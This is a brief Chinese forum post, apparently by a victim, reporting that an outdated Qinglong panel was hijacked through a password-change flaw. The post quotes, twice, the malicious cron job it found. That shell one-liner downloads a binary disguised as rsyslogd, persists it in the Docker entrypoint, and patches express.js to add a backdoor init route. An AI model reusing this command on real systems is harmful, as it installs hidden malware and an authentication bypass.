具体方法AI问一下就有。只要不是最新版，用户密码被任意修改。
我的刚发现被改了， 还被挂了个脚本，定时任务如下：
* * * * *
sh -c "(test -f /usr/bin/rsyslogd || curl -o /usr/bin/rsyslogd -s ' ') && chmod +x /usr/bin/rsyslogd && /usr/bin/rsyslogd; test -f /ql/docker/docker-entrypoint.sh && ! grep -q '/usr/bin/rsyslogd' /ql/docker/docker-entrypoint.sh && sed -i '2i\\/usr/bin/rsyslogd &' /ql/docker/docker-entrypoint.sh; test -f /ql/static/build/loaders/express.js && ! grep -q '/open/user/init' /ql/static/build/loaders/express.js && sed -i \"s|'/api/user/init'|'/api/user/init','/open/user/init'|g\" /ql/static/build/loaders/express.js && pkill -9 node"
55 * * * *
task hsdtk_jdYhq/jd_yhq_api.js
我的刚发现被改了， 还被挂了个脚本，定时任务如下：
* * * * *
sh -c "(test -f /usr/bin/rsyslogd || curl -o /usr/bin/rsyslogd -s ' ') && chmod +x /usr/bin/rsyslogd && /usr/bin/rsyslogd; test -f /ql/docker/docker-entrypoint.sh && ! grep -q '/usr/bin/rsyslogd' /ql/docker/docker-entrypoint.sh && sed -i '2i\\/usr/bin/rsyslogd &' /ql/docker/docker-entrypoint.sh; test -f /ql/static/build/loaders/express.js && ! grep -q '/open/user/init' /ql/static/build/loaders/express.js && sed -i \"s|'/api/user/init'|'/api/user/init','/open/user/init'|g\" /ql/static/build/loaders/express.js && pkill -9 node"
55 * * * *
task hsdtk_jdYhq/jd_yhq_api.js